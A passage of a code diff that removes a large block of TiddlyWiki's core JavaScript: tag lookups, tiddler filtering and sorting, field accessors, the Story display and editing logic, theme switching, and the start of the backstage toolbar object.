- if(n && excludeTag) {
- var t = this.fetchTiddler(tag);
- if(t && t.isTagged(excludeTag))
- n = false;
- }
- if(n)
- results.push([tag,1]);
- }
- });
- results.sort(function(a,b) {return a[0].toLowerCase() < b[0].toLowerCase() ? -1 : (a[0].toLowerCase() == b[0].toLowerCase() ? 0 : +1);});
- return results;
-};
-
-// Return an array of the tiddlers that are tagged with a given tag
-TiddlyWiki.prototype.getTaggedTiddlers = function(tag,sortField)
-{
- return this.reverseLookup("tags",tag,true,sortField);
-};
-
-TiddlyWiki.prototype.getValueTiddlers = function(field,value,sortField)
-{
- return this.reverseLookup(field,value,true,sortField);
-};
-
-// Return an array of the tiddlers that link to a given tiddler
-TiddlyWiki.prototype.getReferringTiddlers = function(title,unusedParameter,sortField)
-{
- if(!this.tiddlersUpdated)
- this.updateTiddlers();
- return this.reverseLookup("links",title,true,sortField);
-};
-
-// Return an array of the tiddlers that do or do not have a specified entry in the specified storage array (ie, "links" or "tags")
-// lookupMatch == true to match tiddlers, false to exclude tiddlers
-TiddlyWiki.prototype.reverseLookup = function(lookupField,lookupValue,lookupMatch,sortField)
-{
- var results = [];
- this.forEachTiddler(function(title,tiddler) {
- var f = !lookupMatch;
- var values;
- if(["links", "tags"].contains(lookupField)) {
- values = tiddler[lookupField];
- } else {
- var accessor = TiddlyWiki.standardFieldAccess[lookupField];
- if(accessor) {
- values = [ accessor.get(tiddler) ];
- } else {
- values = tiddler.fields[lookupField] ? [tiddler.fields[lookupField]] : [];
- }
- }
- var lookup;
- for(lookup=0; lookup<values.length; lookup++) {
- if(values[lookup] == lookupValue)
- f = lookupMatch;
- }
- if(f)
- results.push(tiddler);
- });
- if(!sortField)
- sortField = "title";
- return this.sortTiddlers(results,sortField);
-};
-
-// Return the tiddlers as a sorted array
-TiddlyWiki.prototype.getTiddlers = function(field,excludeTag)
-{
- var results = [];
- this.forEachTiddler(function(title,tiddler) {
- if(excludeTag == undefined || !tiddler.isTagged(excludeTag))
- results.push(tiddler);
- });
- if(field)
- results.sort(function(a,b) {return a[field] < b[field] ? -1 : (a[field] == b[field] ? 0 : +1);});
- return results;
-};
-
-// Return array of names of tiddlers that are referred to but not defined
-TiddlyWiki.prototype.getMissingLinks = function()
-{
- if(!this.tiddlersUpdated)
- this.updateTiddlers();
- var results = [];
- this.forEachTiddler(function (title,tiddler) {
- if(tiddler.isTagged("excludeMissing") || tiddler.isTagged("systemConfig"))
- return;
- var n;
- for(n=0; n<tiddler.links.length;n++) {
- var link = tiddler.links[n];
- if(this.getTiddlerText(link,null) == null && !this.isShadowTiddler(link) && !config.macros[link])
- results.pushUnique(link);
- }
- });
- results.sort();
- return results;
-};
-
-// Return an array of names of tiddlers that are defined but not referred to
-TiddlyWiki.prototype.getOrphans = function()
-{
- var results = [];
- this.forEachTiddler(function (title,tiddler) {
- if(this.getReferringTiddlers(title).length == 0 && !tiddler.isTagged("excludeLists"))
- results.push(title);
- });
- results.sort();
- return results;
-};
-
-// Return an array of names of all the shadow tiddlers
-TiddlyWiki.prototype.getShadowed = function()
-{
- var t,results = [];
- for(t in config.shadowTiddlers) {
- if(this.isShadowTiddler(t))
- results.push(t);
- }
- results.sort();
- return results;
-};
-
-// Return an array of tiddlers that have been touched since they were downloaded or created
-TiddlyWiki.prototype.getTouched = function()
-{
- var results = [];
- this.forEachTiddler(function(title,tiddler) {
- if(tiddler.isTouched())
- results.push(tiddler);
- });
- results.sort();
- return results;
-};
-
-// Resolves a Tiddler reference or tiddler title into a Tiddler object, or null if it doesn't exist
-TiddlyWiki.prototype.resolveTiddler = function(tiddler)
-{
- var t = (typeof tiddler == "string") ? this.getTiddler(tiddler) : tiddler;
- return t instanceof Tiddler ? t : null;
-};
-
-// Sort a list of tiddlers
-TiddlyWiki.prototype.sortTiddlers = function(tiddlers,field)
-{
- var asc = +1;
- switch(field.substr(0,1)) {
- case "-":
- asc = -1;
- field = field.substr(1);
- break;
- case "+":
- field = field.substr(1);
- break;
- }
- if(TiddlyWiki.standardFieldAccess[field]) {
- if(field=="title") {
- tiddlers.sort(function(a,b) {return a[field].toLowerCase() < b[field].toLowerCase() ? -asc : (a[field].toLowerCase() == b[field].toLowerCase() ? 0 : asc);});
- } else {
- tiddlers.sort(function(a,b) {return a[field] < b[field] ? -asc : (a[field] == b[field] ? 0 : asc);});
- }
- } else {
- tiddlers.sort(function(a,b) {return a.fields[field] < b.fields[field] ? -asc : (a.fields[field] == b.fields[field] ? 0 : +asc);});
- }
- return tiddlers;
-};
-
-//--
-//-- Filter a list of tiddlers
-//--
-
-config.filters = {
- tiddler: function(results,match) {
- var title = match[1]||match[4];
- var tiddler = this.fetchTiddler(title);
- if(tiddler) {
- results.pushUnique(tiddler);
- } else if(this.isShadowTiddler(title)) {
- tiddler = new Tiddler();
- tiddler.set(title,this.getTiddlerText(title));
- results.pushUnique(tiddler);
- } else {
- results.pushUnique(new Tiddler(title));
- }
- return results;
- },
- tag: function(results,match) {
- var m,matched = this.getTaggedTiddlers(match[3]);
- for(m=0; m<matched.length; m++) {
- results.pushUnique(matched[m]);
- }
- return results;
- },
- sort: function(results,match) {
- return this.sortTiddlers(results,match[3]);
- },
- limit: function(results,match) {
- return results.slice(0,parseInt(match[3],10));
- },
- field: function(results,match) {
- var m,matched = this.getValueTiddlers(match[2],match[3]);
- for (m = 0; m < matched.length; m++) {
- results.pushUnique(matched[m]);
- }
- return results;
- }
-};
-
-// Filter a list of tiddlers
-TiddlyWiki.prototype.filterTiddlers = function(filter)
-{
- var re = /([^\s\[\]]+)|(?:\[([ \w\.\-]+)\[([^\]]+)\]\])|(?:\[\[([^\]]+)\]\])/mg;
-
- var results = [];
- if(filter) {
- var match = re.exec(filter);
- while(match) {
- var handler = (match[1]||match[4])?'tiddler':config.filters[match[2]]?match[2]:'field';
- results = config.filters[handler].call(this,results,match);
- match = re.exec(filter);
- }
- }
- return results;
-};
-// Returns true if path is a valid field name (path),
-// i.e. a sequence of identifiers, separated by "."
-TiddlyWiki.isValidFieldName = function(name)
-{
- var match = /[a-zA-Z_]\w*(\.[a-zA-Z_]\w*)*/.exec(name);
- return match && (match[0] == name);
-};
-
-// Throws an exception when name is not a valid field name.
-TiddlyWiki.checkFieldName = function(name)
-{
- if(!TiddlyWiki.isValidFieldName(name))
- throw config.messages.invalidFieldName.format([name]);
-};
-
-function StringFieldAccess(n,readOnly)
-{
- this.set = readOnly ?
- function(t,v) {if(v != t[n]) throw config.messages.fieldCannotBeChanged.format([n]);} :
- function(t,v) {if(v != t[n]) {t[n] = v; return true;}};
- this.get = function(t) {return t[n];};
-}
-
-function DateFieldAccess(n)
-{
- this.set = function(t,v) {
- var d = v instanceof Date ? v : Date.convertFromYYYYMMDDHHMM(v);
- if(d != t[n]) {
- t[n] = d; return true;
- }
- };
- this.get = function(t) {return t[n].convertToYYYYMMDDHHMM();};
-}
-
-function LinksFieldAccess(n)
-{
- this.set = function(t,v) {
- var s = (typeof v == "string") ? v.readBracketedList() : v;
- if(s.toString() != t[n].toString()) {
- t[n] = s; return true;
- }
- };
- this.get = function(t) {return String.encodeTiddlyLinkList(t[n]);};
-}
-
-TiddlyWiki.standardFieldAccess = {
- // The set functions return true when setting the data has changed the value.
- "title": new StringFieldAccess("title",true),
- // Handle the "tiddler" field name as the title
- "tiddler": new StringFieldAccess("title",true),
- "text": new StringFieldAccess("text"),
- "modifier": new StringFieldAccess("modifier"),
- "modified": new DateFieldAccess("modified"),
- "creator": new StringFieldAccess("creator"),
- "created": new DateFieldAccess("created"),
- "tags": new LinksFieldAccess("tags")
-};
-
-TiddlyWiki.isStandardField = function(name)
-{
- return TiddlyWiki.standardFieldAccess[name] != undefined;
-};
-
-// Sets the value of the given field of the tiddler to the value.
-// Setting an ExtendedField's value to null or undefined removes the field.
-// Setting a namespace to undefined removes all fields of that namespace.
-// The fieldName is case-insensitive.
-// All values will be converted to a string value.
-TiddlyWiki.prototype.setValue = function(tiddler,fieldName,value)
-{
- TiddlyWiki.checkFieldName(fieldName);
- var t = this.resolveTiddler(tiddler);
- if(!t)
- return;
- fieldName = fieldName.toLowerCase();
- var isRemove = (value === undefined) || (value === null);
- var accessor = TiddlyWiki.standardFieldAccess[fieldName];
- if(accessor) {
- if(isRemove)
- // don't remove StandardFields
- return;
- var h = TiddlyWiki.standardFieldAccess[fieldName];
- if(!h.set(t,value))
- return;
- } else {
- var oldValue = t.fields[fieldName];
- if(isRemove) {
- if(oldValue !== undefined) {
- // deletes a single field
- delete t.fields[fieldName];
- } else {
- // no concrete value is defined for the fieldName
- // so we guess this is a namespace path.
- // delete all fields in a namespace
- var re = new RegExp("^"+fieldName+"\\.");
- var dirty = false;
- var n;
- for(n in t.fields) {
- if(n.match(re)) {
- delete t.fields[n];
- dirty = true;
- }
- }
- if(!dirty)
- return;
- }
- } else {
- // the "normal" set case. value is defined (not null/undefined)
- // For convenience provide a nicer conversion Date->String
- value = value instanceof Date ? value.convertToYYYYMMDDHHMMSSMMM() : String(value);
- if(oldValue == value)
- return;
- t.fields[fieldName] = value;
- }
- }
- // When we are here the tiddler/store really was changed.
- this.notify(t.title,true);
- if(!fieldName.match(/^temp\./))
- this.setDirty(true);
-};
-
-// Returns the value of the given field of the tiddler.
-// The fieldName is case-insensitive.
-// Will only return String values (or undefined).
-TiddlyWiki.prototype.getValue = function(tiddler,fieldName)
-{
- var t = this.resolveTiddler(tiddler);
- if(!t)
- return undefined;
- if(fieldName.indexOf(config.textPrimitives.sectionSeparator) === 0 || fieldName.indexOf(config.textPrimitives.sliceSeparator) === 0) {
- var sliceType = fieldName.substr(0, 2);
- var sliceName = fieldName.substring(2);
- return store.getTiddlerText("%0%1%2".format(t.title,sliceType,sliceName));
- } else {
- fieldName = fieldName.toLowerCase();
- var accessor = TiddlyWiki.standardFieldAccess[fieldName];
- if(accessor) {
- return accessor.get(t);
- }
- }
- return t.fields[fieldName];
-};
-
-// Calls the callback function for every field in the tiddler.
-// When callback function returns a non-false value the iteration stops
-// and that value is returned.
-// The order of the fields is not defined.
-// @param callback a function(tiddler,fieldName,value).
-TiddlyWiki.prototype.forEachField = function(tiddler,callback,onlyExtendedFields)
-{
- var t = this.resolveTiddler(tiddler);
- if(!t)
- return undefined;
- var n,result;
- for(n in t.fields) {
- result = callback(t,n,t.fields[n]);
- if(result)
- return result;
- }
- if(onlyExtendedFields)
- return undefined;
- for(n in TiddlyWiki.standardFieldAccess) {
- if(n != "tiddler") {
- // even though the "title" field can also be referenced through the name "tiddler"
- // we only visit this field once.
- result = callback(t,n,TiddlyWiki.standardFieldAccess[n].get(t));
- if(result)
- return result;
- }
- }
- return undefined;
-};
-
-//--
-//-- Story functions
-//--
-
-function Story(containerId,idPrefix)
-{
- this.container = containerId;
- this.idPrefix = idPrefix;
- this.highlightRegExp = null;
- this.tiddlerId = function(title) {
- title = title.replace(/_/g, "__").replace(/ /g, "_");
- var id = this.idPrefix + title;
- return id==this.container ? this.idPrefix + "_" + title : id;
- };
- this.containerId = function() {
- return this.container;
- };
-}
-
-Story.prototype.getTiddler = function(title)
-{
- return document.getElementById(this.tiddlerId(title));
-};
-
-Story.prototype.getContainer = function()
-{
- return document.getElementById(this.containerId());
-};
-
-Story.prototype.forEachTiddler = function(fn)
-{
- var place = this.getContainer();
- if(!place)
- return;
- var e = place.firstChild;
- while(e) {
- var n = e.nextSibling;
- var title = e.getAttribute("tiddler");
- if(title) {
- fn.call(this,title,e);
- }
- e = n;
- }
-};
-
-Story.prototype.displayDefaultTiddlers = function()
-{
- this.displayTiddlers(null,store.filterTiddlers(store.getTiddlerText("DefaultTiddlers")));
-};
-
-Story.prototype.displayTiddlers = function(srcElement,titles,template,animate,unused,customFields,toggle)
-{
- var t;
- for(t = titles.length-1;t>=0;t--)
- this.displayTiddler(srcElement,titles[t],template,animate,unused,customFields);
-};
-
-Story.prototype.displayTiddler = function(srcElement,tiddler,template,animate,unused,customFields,toggle,animationSrc)
-{
- var title = (tiddler instanceof Tiddler) ? tiddler.title : tiddler;
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem) {
- if(toggle) {
- if(tiddlerElem.getAttribute("dirty") != "true")
- this.closeTiddler(title,true);
- } else {
- this.refreshTiddler(title,template,false,customFields);
- }
- } else {
- var place = this.getContainer();
- var before = this.positionTiddler(srcElement);
- tiddlerElem = this.createTiddler(place,before,title,template,customFields);
- }
- if(animationSrc && typeof animationSrc !== "string") {
- srcElement = animationSrc;
- }
- if(srcElement && typeof srcElement !== "string") {
- if(config.options.chkAnimate && (animate == undefined || animate == true) && anim && typeof Zoomer == "function" && typeof Scroller == "function")
- anim.startAnimating(new Zoomer(title,srcElement,tiddlerElem),new Scroller(tiddlerElem));
- else
- window.scrollTo(0,ensureVisible(tiddlerElem));
- }
- return tiddlerElem;
-};
-
-Story.prototype.positionTiddler = function(srcElement)
-{
- var place = this.getContainer();
- var before = null;
- if(typeof srcElement == "string") {
- switch(srcElement) {
- case "top":
- before = place.firstChild;
- break;
- case "bottom":
- before = null;
- break;
- }
- } else {
- var after = this.findContainingTiddler(srcElement);
- if(after == null) {
- before = place.firstChild;
- } else if(after.nextSibling) {
- before = after.nextSibling;
- if(before.nodeType != 1)
- before = null;
- }
- }
- return before;
-};
-
-Story.prototype.createTiddler = function(place,before,title,template,customFields)
-{
- var tiddlerElem = createTiddlyElement(null,"div",this.tiddlerId(title),"tiddler");
- tiddlerElem.setAttribute("refresh","tiddler");
- if(customFields)
- tiddlerElem.setAttribute("tiddlyFields",customFields);
- place.insertBefore(tiddlerElem,before);
- var defaultText = null;
- if(!store.tiddlerExists(title) && !store.isShadowTiddler(title))
- defaultText = this.loadMissingTiddler(title,customFields);
- this.refreshTiddler(title,template,false,customFields,defaultText);
- return tiddlerElem;
-};
-
-Story.prototype.loadMissingTiddler = function(title,fields,callback)
-{
- var getTiddlerCallback = function(context)
- {
- if(context.status) {
- var t = context.tiddler;
- if(!t.created)
- t.created = new Date();
- if(!t.modified)
- t.modified = t.created;
- var dirty = store.isDirty();
- context.tiddler = store.saveTiddler(t.title,t.title,t.text,t.modifier,t.modified,t.tags,t.fields,true,t.created,t.creator);
- if(!window.allowSave())
- store.setDirty(dirty);
- autoSaveChanges();
- } else {
- story.refreshTiddler(context.title,null,true);
- }
- context.adaptor.close();
- if(callback) {
- callback(context);
- }
- };
- var tiddler = new Tiddler(title);
- tiddler.fields = typeof fields == "string" ? fields.decodeHashMap() : fields||{};
- var context = {serverType:tiddler.getServerType()};
- if(!context.serverType)
- return "";
- context.host = tiddler.fields['server.host'];
- context.workspace = tiddler.fields['server.workspace'];
- var adaptor = new config.adaptors[context.serverType]();
- adaptor.getTiddler(title,context,null,getTiddlerCallback);
- return config.messages.loadingMissingTiddler.format([title,context.serverType,context.host,context.workspace]);
-};
-
-Story.prototype.chooseTemplateForTiddler = function(title,template)
-{
- if(!template)
- template = DEFAULT_VIEW_TEMPLATE;
- if(template == DEFAULT_VIEW_TEMPLATE || template == DEFAULT_EDIT_TEMPLATE)
- template = config.tiddlerTemplates[template];
- return template;
-};
-
-Story.prototype.getTemplateForTiddler = function(title,template,tiddler)
-{
- return store.getRecursiveTiddlerText(template,null,10);
-};
-
-Story.prototype.refreshTiddler = function(title,template,force,customFields,defaultText)
-{
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem) {
- if(tiddlerElem.getAttribute("dirty") == "true" && !force)
- return tiddlerElem;
- template = this.chooseTemplateForTiddler(title,template);
- var currTemplate = tiddlerElem.getAttribute("template");
- if((template != currTemplate) || force) {
- var tiddler = store.getTiddler(title);
- if(!tiddler) {
- tiddler = new Tiddler();
- if(store.isShadowTiddler(title)) {
- var tags = [];
- tiddler.set(title,store.getTiddlerText(title),config.views.wikified.shadowModifier,version.date,tags,version.date);
- } else {
- var text = template=="EditTemplate" ?
- config.views.editor.defaultText.format([title]) :
- config.views.wikified.defaultText.format([title]);
- text = defaultText || text;
- var fields = customFields ? customFields.decodeHashMap() : null;
- tiddler.set(title,text,config.views.wikified.defaultModifier,version.date,[],version.date,fields);
- }
- }
- tiddlerElem.setAttribute("tags",tiddler.tags.join(" "));
- tiddlerElem.setAttribute("tiddler",title);
- tiddlerElem.setAttribute("template",template);
- tiddlerElem.onmouseover = this.onTiddlerMouseOver;
- tiddlerElem.onmouseout = this.onTiddlerMouseOut;
- tiddlerElem.ondblclick = this.onTiddlerDblClick;
- tiddlerElem[window.event?"onkeydown":"onkeypress"] = this.onTiddlerKeyPress;
- tiddlerElem.innerHTML = this.getTemplateForTiddler(title,template,tiddler);
- applyHtmlMacros(tiddlerElem,tiddler);
- if(store.getTaggedTiddlers(title).length > 0)
- jQuery(tiddlerElem).addClass("isTag");
- else
- jQuery(tiddlerElem).removeClass("isTag");
- if(store.tiddlerExists(title)) {
- jQuery(tiddlerElem).removeClass("shadow");
- jQuery(tiddlerElem).removeClass("missing");
- } else {
- jQuery(tiddlerElem).addClass(store.isShadowTiddler(title) ? "shadow" : "missing");
- }
- if(customFields)
- this.addCustomFields(tiddlerElem,customFields);
- }
- }
- return tiddlerElem;
-};
-
-Story.prototype.addCustomFields = function(place,customFields)
-{
- var fields = customFields.decodeHashMap();
- var w = createTiddlyElement(place,"div",null,"customFields");
- w.style.display = "none";
- var t;
- for(t in fields) {
- var e = document.createElement("input");
- e.setAttribute("type","text");
- e.setAttribute("value",fields[t]);
- w.appendChild(e);
- e.setAttribute("edit",t);
- }
-};
-
-Story.prototype.refreshAllTiddlers = function(force)
-{
- var e = this.getContainer().firstChild;
- while(e) {
- var template = e.getAttribute("template");
- if(template && e.getAttribute("dirty") != "true") {
- this.refreshTiddler(e.getAttribute("tiddler"),force ? null : template,true);
- }
- e = e.nextSibling;
- }
-};
-
-Story.prototype.onTiddlerMouseOver = function(e)
-{
- jQuery(this).addClass("selected");
-};
-
-Story.prototype.onTiddlerMouseOut = function(e)
-{
- jQuery(this).removeClass("selected");
-};
-
-Story.prototype.onTiddlerDblClick = function(ev)
-{
- var e = ev || window.event;
- var target = resolveTarget(e);
- if(target && target.nodeName.toLowerCase() != "input" && target.nodeName.toLowerCase() != "textarea") {
- if(document.selection && document.selection.empty)
- document.selection.empty();
- config.macros.toolbar.invokeCommand(this,"defaultCommand",e);
- e.cancelBubble = true;
- if(e.stopPropagation) e.stopPropagation();
- return true;
- }
- return false;
-};
-
-Story.prototype.onTiddlerKeyPress = function(ev)
-{
- var e = ev || window.event;
- clearMessage();
- var consume = false;
- var title = this.getAttribute("tiddler");
- var target = resolveTarget(e);
- switch(e.keyCode) {
- case 9: // Tab
- var ed = story.getTiddlerField(title,"text");
- if(target.tagName.toLowerCase() == "input" && ed.value==config.views.editor.defaultText.format([title])) {
- // moving from input field and editor still contains default text, so select it
- ed.focus();
- ed.select();
- consume = true;
- }
- if(config.options.chkInsertTabs && target.tagName.toLowerCase() == "textarea") {
- replaceSelection(target,String.fromCharCode(9));
- consume = true;
- }
- if(config.isOpera) {
- target.onblur = function() {
- this.focus();
- this.onblur = null;
- };
- }
- break;
- case 13: // Ctrl-Enter
- case 10: // Ctrl-Enter on IE PC
- case 77: // Ctrl-Enter is "M" on some platforms
- if(e.ctrlKey) {
- blurElement(this);
- config.macros.toolbar.invokeCommand(this,"defaultCommand",e);
- consume = true;
- }
- break;
- case 27: // Escape
- blurElement(this);
- config.macros.toolbar.invokeCommand(this,"cancelCommand",e);
- consume = true;
- break;
- }
- e.cancelBubble = consume;
- if(consume) {
- if(e.stopPropagation) e.stopPropagation(); // Stop Propagation
- e.returnValue = true; // Cancel The Event in IE
- if(e.preventDefault ) e.preventDefault(); // Cancel The Event in Moz
- }
- return !consume;
-};
-
-Story.prototype.getTiddlerField = function(title,field)
-{
- var tiddlerElem = this.getTiddler(title);
- var e = null;
- if(tiddlerElem) {
- var t,children = tiddlerElem.getElementsByTagName("*");
- for(t=0; t<children.length; t++) {
- var c = children[t];
- if(c.tagName.toLowerCase() == "input" || c.tagName.toLowerCase() == "textarea") {
- if(!e)
- e = c;
- if(c.getAttribute("edit") == field)
- e = c;
- }
- }
- }
- return e;
-};
-
-Story.prototype.focusTiddler = function(title,field)
-{
- var e = this.getTiddlerField(title,field);
- if(e) {
- e.focus();
- e.select();
- }
-};
-
-Story.prototype.blurTiddler = function(title)
-{
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem && tiddlerElem.focus && tiddlerElem.blur) {
- tiddlerElem.focus();
- tiddlerElem.blur();
- }
-};
-
-Story.prototype.setTiddlerField = function(title,tag,mode,field)
-{
- var c = this.getTiddlerField(title,field);
- var tags = c.value.readBracketedList();
- tags.setItem(tag,mode);
- c.value = String.encodeTiddlyLinkList(tags);
-};
-
-Story.prototype.setTiddlerTag = function(title,tag,mode)
-{
- this.setTiddlerField(title,tag,mode,"tags");
-};
-
-Story.prototype.closeTiddler = function(title,animate,unused)
-{
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem) {
- clearMessage();
- this.scrubTiddler(tiddlerElem);
- if(config.options.chkAnimate && animate && anim && typeof Slider == "function")
- anim.startAnimating(new Slider(tiddlerElem,false,null,"all"));
- else {
- jQuery(tiddlerElem).remove();
- }
- }
-};
-
-Story.prototype.scrubTiddler = function(tiddlerElem)
-{
- tiddlerElem.id = null;
-};
-
-Story.prototype.setDirty = function(title,dirty)
-{
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem)
- tiddlerElem.setAttribute("dirty",dirty ? "true" : "false");
-};
-
-Story.prototype.isDirty = function(title)
-{
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem)
- return tiddlerElem.getAttribute("dirty") == "true";
- return null;
-};
-
-Story.prototype.areAnyDirty = function()
-{
- var r = false;
- this.forEachTiddler(function(title,element) {
- if(this.isDirty(title))
- r = true;
- });
- return r;
-};
-
-Story.prototype.closeAllTiddlers = function(exclude)
-{
- clearMessage();
- this.forEachTiddler(function(title,element) {
- if((title != exclude) && element.getAttribute("dirty") != "true")
- this.closeTiddler(title);
- });
- window.scrollTo(0,ensureVisible(this.container));
-};
-
-Story.prototype.isEmpty = function()
-{
- var place = this.getContainer();
- return place && place.firstChild == null;
-};
-
-Story.prototype.search = function(text,useCaseSensitive,useRegExp)
-{
- this.closeAllTiddlers();
- highlightHack = new RegExp(useRegExp ? text : text.escapeRegExp(),useCaseSensitive ? "mg" : "img");
- var matches = store.search(highlightHack,"title","excludeSearch");
- this.displayTiddlers(null,matches);
- highlightHack = null;
- var q = useRegExp ? "/" : "'";
- if(matches.length > 0)
- displayMessage(config.macros.search.successMsg.format([matches.length.toString(),q + text + q]));
- else
- displayMessage(config.macros.search.failureMsg.format([q + text + q]));
-};
-
-Story.prototype.findContainingTiddler = function(e)
-{
- while(e && !jQuery(e).hasClass("tiddler")) {
- e = jQuery(e).hasClass("popup") && Popup.stack[0] ? Popup.stack[0].root : e.parentNode;
- }
- return e;
-};
-
-Story.prototype.gatherSaveFields = function(e,fields)
-{
- if(e && e.getAttribute) {
- var f = e.getAttribute("edit");
- if(f)
- fields[f] = e.value.replace(/\r/mg,"");
- if(e.hasChildNodes()) {
- var t,c = e.childNodes;
- for(t=0; t<c.length; t++)
- this.gatherSaveFields(c[t],fields);
- }
- }
-};
-
-Story.prototype.hasChanges = function(title)
-{
- var e = this.getTiddler(title);
- if(e) {
- var fields = {};
- this.gatherSaveFields(e,fields);
- if(store.fetchTiddler(title)) {
- var n;
- for(n in fields) {
- if(store.getValue(title,n) != fields[n]) //# tiddler changed
- return true;
- }
- } else {
- if(store.isShadowTiddler(title) && store.getShadowTiddlerText(title) == fields.text) { //# not checking for title or tags
- return false;
- } else { //# changed shadow or new tiddler
- return true;
- }
- }
- }
- return false;
-};
-
-Story.prototype.saveTiddler = function(title,minorUpdate)
-{
- var tiddlerElem = this.getTiddler(title);
- if(tiddlerElem) {
- var fields = {};
- this.gatherSaveFields(tiddlerElem,fields);
- var newTitle = fields.title || title;
- if(!store.tiddlerExists(newTitle)) {
- newTitle = newTitle.trim();
- var creator = config.options.txtUserName;
- }
- if(store.tiddlerExists(newTitle) && newTitle != title) {
- if(!confirm(config.messages.overwriteWarning.format([newTitle.toString()])))
- return null;
- title = newTitle;
- }
- if(newTitle != title)
- this.closeTiddler(newTitle,false);
- tiddlerElem.id = this.tiddlerId(newTitle);
- tiddlerElem.setAttribute("tiddler",newTitle);
- tiddlerElem.setAttribute("template",DEFAULT_VIEW_TEMPLATE);
- tiddlerElem.setAttribute("dirty","false");
- if(config.options.chkForceMinorUpdate)
- minorUpdate = !minorUpdate;
- if(!store.tiddlerExists(newTitle))
- minorUpdate = false;
- var newDate = new Date();
- if(store.tiddlerExists(title)) {
- var t = store.fetchTiddler(title);
- var extendedFields = t.fields;
- creator = t.creator;
- } else {
- extendedFields = merge({},config.defaultCustomFields);
- }
- var n;
- for(n in fields) {
- if(!TiddlyWiki.isStandardField(n))
- extendedFields[n] = fields[n];
- }
- var tiddler = store.saveTiddler(title,newTitle,fields.text,minorUpdate ? undefined : config.options.txtUserName,minorUpdate ? undefined : newDate,fields.tags,extendedFields,null,null,creator);
- autoSaveChanges(null,[tiddler]);
- return newTitle;
- }
- return null;
-};
-
-Story.prototype.permaView = function()
-{
- var links = [];
- this.forEachTiddler(function(title,element) {
- links.push(String.encodeTiddlyLink(title));
- });
- var t = encodeURIComponent(links.join(" "));
- if(t == "")
- t = "#";
- if(window.location.hash != t)
- window.location.hash = t;
-};
-
-Story.prototype.switchTheme = function(theme)
-{
- if(safeMode)
- return;
-
- var getSlice = function(theme,slice) {
- var r;
- if(readOnly)
- r = store.getTiddlerSlice(theme,slice+"ReadOnly") || store.getTiddlerSlice(theme,"Web"+slice);
- r = r || store.getTiddlerSlice(theme,slice);
- if(r && r.indexOf(config.textPrimitives.sectionSeparator)==0)
- r = theme + r;
- return store.isAvailable(r) ? r : slice;
- };
-
- var replaceNotification = function(i,name,theme,slice) {
- var newName = getSlice(theme,slice);
- if(name!=newName && store.namedNotifications[i].name==name) {
- store.namedNotifications[i].name = newName;
- return newName;
- }
- return name;
- };
-
- var pt = config.refresherData.pageTemplate;
- var vi = DEFAULT_VIEW_TEMPLATE;
- var vt = config.tiddlerTemplates[vi];
- var ei = DEFAULT_EDIT_TEMPLATE;
- var et = config.tiddlerTemplates[ei];
-
- var i;
- for(i=0; i<config.notifyTiddlers.length; i++) {
- var name = config.notifyTiddlers[i].name;
- switch(name) {
- case "PageTemplate":
- config.refresherData.pageTemplate = replaceNotification(i,config.refresherData.pageTemplate,theme,name);
- break;
- case "StyleSheet":
- removeStyleSheet(config.refresherData.styleSheet);
- config.refresherData.styleSheet = replaceNotification(i,config.refresherData.styleSheet,theme,name);
- break;
- case "ColorPalette":
- config.refresherData.colorPalette = replaceNotification(i,config.refresherData.colorPalette,theme,name);
- break;
- default:
- break;
- }
- }
- config.tiddlerTemplates[vi] = getSlice(theme,"ViewTemplate");
- config.tiddlerTemplates[ei] = getSlice(theme,"EditTemplate");
- if(!startingUp) {
- if(config.refresherData.pageTemplate!=pt || config.tiddlerTemplates[vi]!=vt || config.tiddlerTemplates[ei]!=et) {
- refreshAll();
- this.refreshAllTiddlers(true);
- } else {
- setStylesheet(store.getRecursiveTiddlerText(config.refresherData.styleSheet,"",10),config.refreshers.styleSheet);
- }
- config.options.txtTheme = theme;
- saveOption("txtTheme");
- }
-};
-
-//--
-//-- Backstage
-//--
-// Backstage tasks
-config.tasks.save.action = saveChanges;
-
-var backstage = {
- area: null,
- toolbar: null,
- button: null,
- showButton: null,
- hideButton: null,
- cloak: null,
- panel: null,
- panelBody: null,
- panelFooter: null,
- currTabName: null,
- currTabElem: null,
- content: null,
-
- init: function() {
- var cmb = config.messages.backstage;
- this.area = document.getElementById("backstageArea");
- this.toolbar = jQuery("#backstageToolbar").empty()[0];
- this.button = jQuery("#backstageButton").empty()[0];
- this.button.style.display = "block";
- var t = cmb.open.text + " " + glyph("bentArrowLeft");
- this.showButton = createTiddlyButton(this.button,t,cmb.open.tooltip,
- function(e) {backstage.show(); return false;},null,"backstageShow");
- t = glyph("bentArrowRight") + " " + cmb.close.text;
- this.hideButton = createTiddlyButton(this.button,t,cmb.close.tooltip,
- function(e) {backstage.hide(); return false;},null,"backstageHide");
- this.cloak = document.getElementById("backstageCloak");
- this.panel = document.getElementById("backstagePanel");
- this.panelFooter = createTiddlyElement(this.panel,"div",null,"backstagePanelFooter");
- this.panelBody = createTiddlyElement(this.panel,"div",null,"backstagePanelBody");
- this.cloak.onmousedown = function(e) {backstage.switchTab(null);};
- createTiddlyText(this.toolbar,cmb.prompt);
- for(t=0; t<config.backstageTasks.length; t++) {
- var taskName = config.backstageTasks[t];
- var task = config.tasks[taskName];
- var handler = task.action ? this.onClickCommand : this.onClickTab;
- var text = task.text + (task.action ? "" : glyph("downTriangle"));
- var btn = createTiddlyButton(this.toolbar,text,task.tooltip,handler,"backstageTab");
- jQuery(btn).addClass(task.action ? "backstageAction" : "backstageTask");
- btn.setAttribute("task", taskName);
- }
- this.content = document.getElementById("contentWrapper");
- if(config.options.chkBackstage)
- this.show();
- else
- this.hide();
- },
-
- isVisible: function() {
- return this.area ? this.area.style.display == "block" : false;
- },
-
- show: function() {
- this.area.style.display = "block";
- if(anim && config.options.chkAnimate) {
- backstage.toolbar.style.left = findWindowWidth() + "px";
- var p = [{style: "left", start: findWindowWidth(), end: 0, template: "%0px"}];
- anim.startAnimating(new Morpher(backstage.toolbar,config.animDuration,p));
- } else {
- backstage.area.style.left = "0px";
- }
- jQuery(this.showButton).hide();
- jQuery(this.hideButton).show();
- config.options.chkBackstage = true;
- saveOption("chkBackstage");
- jQuery(this.content).addClass("backstageVisible");
- },
-
- hide: function() {
- if(this.currTabElem) {
- this.switchTab(null);
- } else {
